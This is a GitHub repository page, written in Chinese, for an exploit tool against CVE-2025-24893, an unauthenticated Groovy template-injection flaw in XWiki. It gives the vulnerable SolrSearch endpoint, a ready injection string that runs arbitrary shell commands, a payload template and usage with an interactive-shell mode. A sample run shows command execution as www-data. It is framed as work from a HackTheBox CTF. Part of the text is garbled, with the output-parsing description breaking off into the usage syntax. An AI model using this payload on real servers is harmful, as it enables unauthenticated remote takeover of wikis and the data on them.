rippsec/CVE-2025-24893-XWiki-SSTI-RCE

GitHub: rippsec/CVE-2025-24893-XWiki-SSTI-RCE

针对 CVE-2025-24893 的 XWiki 未认证 SSTI RCE 漏洞利用工具。

Stars: 0 | Forks: 0

# CVE-2025-24893 — XWiki SSTI 远程代码执行 ## 概述 | 字段 | 详情 | |---|---| | **CVE** | CVE-2025-24893 | | **软件** | XWiki | | **漏洞** | 服务端模板注入(SSTI)→ 远程代码执行(RCE) | | **认证要求** | 无需认证 | | **CVSS 评分** | 严重 | | **背景** | 在 HackTheBox CTF 期间发现 | ## 描述 XWiki 暴露了一个 `SolrSearch` 端点(`/xwiki/bin/get/Main/SolrSearch`),该端点在未经过滤的情况下将用户输入通过 Groovy 模板引擎进行渲染。未经身份验证的攻击者可以通过 `text` 查询参数注入 Groovy 表达式,从而在底层服务器上实现远程代码执行。 ## 技术细节 ### 漏洞端点 ``` GET /xwiki/bin/get/Main/SolrSearch?media=rss&text= ``` ### 注入机制 `text` 参数直接被嵌入到 XWiki 宏上下文中,并由 Groovy 引擎求值。注入通过 `}}}` 逃逸模板上下文,并打开 `{{async}}{{groovy}}` 代码块: ``` }}}{{async async=false}}{{groovy}}println("".execute().text){{/groovy}}{{/async}} ``` 输出内容会反映在 RSS 响应体中,并可通过正则表达式提取。 ### 载荷结构 ``` payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}' ``` 响应为 XML/RSS 格式,命令输出位于 `[}}}` 和 `] [-p PORT] [-s] [-i | -c COMMAND] ``` | 参数 | 描述 | |---|---| | `-t` | 目标主机名或 IP | | `-p` | 端口(默认:80) | | `-s` | 使用 HTTPS | | `-i` | 交互式 Shell 模式 | | `-c` | 单条命令执行 | | `-v` | 详细输出 | ### 示例 ``` # 单个命令 python3 exploit.py -t wiki.target.htb -c "id" # 交互式外壳 python3 exploit.py -t wiki.target.htb -i # HTTPS 在自定义端口 python3 exploit.py -t wiki.target.htb -p 443 -s -i ``` ## 依赖项 ``` pip install requests termcolor ``` ## 概念验证 ``` $ python3 exploit.py -t wiki.editor.htb -c "id" [*] Executing command: id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## 参考链接 - [XWiki 官方通告](https://jira.xwiki.org) - [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2025-24893)
标签:CVE, Groovy, HackTheBox, HTTP请求, Linux取证, Python, RSS注入, SolrSearch, SSTI, XWiki, 交互式Shell, 命令执行, 数字签名, 无后门, 服务端模板注入, 未授权访问, 正则提取, 漏洞分析, 编程工具, 路径探测, 远程代码执行, 逆向工具